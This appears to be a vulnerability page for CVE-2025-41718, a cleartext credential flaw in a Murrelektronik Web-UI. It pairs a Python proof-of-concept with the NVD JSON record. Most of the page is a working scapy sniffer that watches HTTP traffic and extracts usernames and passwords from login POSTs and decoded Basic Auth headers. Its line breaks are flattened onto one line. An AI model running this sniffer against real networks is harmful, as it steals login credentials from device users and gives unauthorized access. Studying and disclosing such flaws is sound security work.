CVE-2025-41718

#!/usr/bin/env python3 # CVE-2025-41718 - Murrelektronik Cleartext Credential Transmission PoC # This PoC demonstrates how an attacker can capture cleartext credentials # transmitted between a client and the vulnerable Web-UI. from scapy.all import sniff, TCP, Raw, IP import re import sys TARGET_PORT = 80 # Default HTTP port for the Web-UI INTERFACE = "eth0" # Network interface to sniff on def extract_credentials(packet): """Extract HTTP POST credentials from captured packets.""" if packet.haslayer(Raw) and packet.haslayer(TCP): payload = packet[Raw].load.decode('utf-8', errors='ignore') # Check for HTTP POST request containing login credentials if "POST" in payload and "password" in payload.lower(): print("\n[+] Captured cleartext credentials!") print("=" * 60) # Extract username and password fields user_match = re.search(r'(?:user|username|login|email)=([^&\r\n]+)', payload, re.IGNORECASE) pass_match = re.search(r'(?:pass|password|pwd)=([^&\r\n]+)', payload, re.IGNORECASE) if user_match: print(f"[Username]: {user_match.group(1)}") if pass_match: print(f"[Password]: {pass_match.group(1)}") # Extract Authorization header if present (Basic Auth) auth_match = re.search(r'Authorization:\s*Basic\s+([A-Za-z0-9+/=]+)', payload, re.IGNORECASE) if auth_match: import base64 decoded = base64.b64decode(auth_match.group(1)).decode('utf-8', errors='ignore') print(f"[Basic Auth Decoded]: {decoded}") print("=" * 60) print(f"\n[Full HTTP Request]:\n{payload[:500]}") def main(): print(f"[*] CVE-2025-41718 PoC - Cleartext Credential Sniffer") print(f"[*] Sniffing on interface: {INTERFACE}") print(f"[*] Filtering HTTP traffic on port {TARGET_PORT}") print(f"[*] Waiting for cleartext login credentials...\n") try: sniff(iface=INTERFACE, filter=f"tcp port {TARGET_PORT}", prn=extract_credentials, store=0) except KeyboardInterrupt: print("\n[*] Sniffer stopped.") sys.exit(0) if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-41718", "sourceIdentifier": "[email protected]", "published": "2025-10-14T09:15:33.040", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A cleartext transmission of sensitive information vulnerability in the affected products allows an unauthorized remote attacker to gain login credentials and access the Web-UI."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-319"}]}], "references": [{"url": "https://murrelektronik.csaf-tp.certvde.com/.well-known/csaf/white/2025/vde-2025-091.json", "source": "[email protected]"}]}}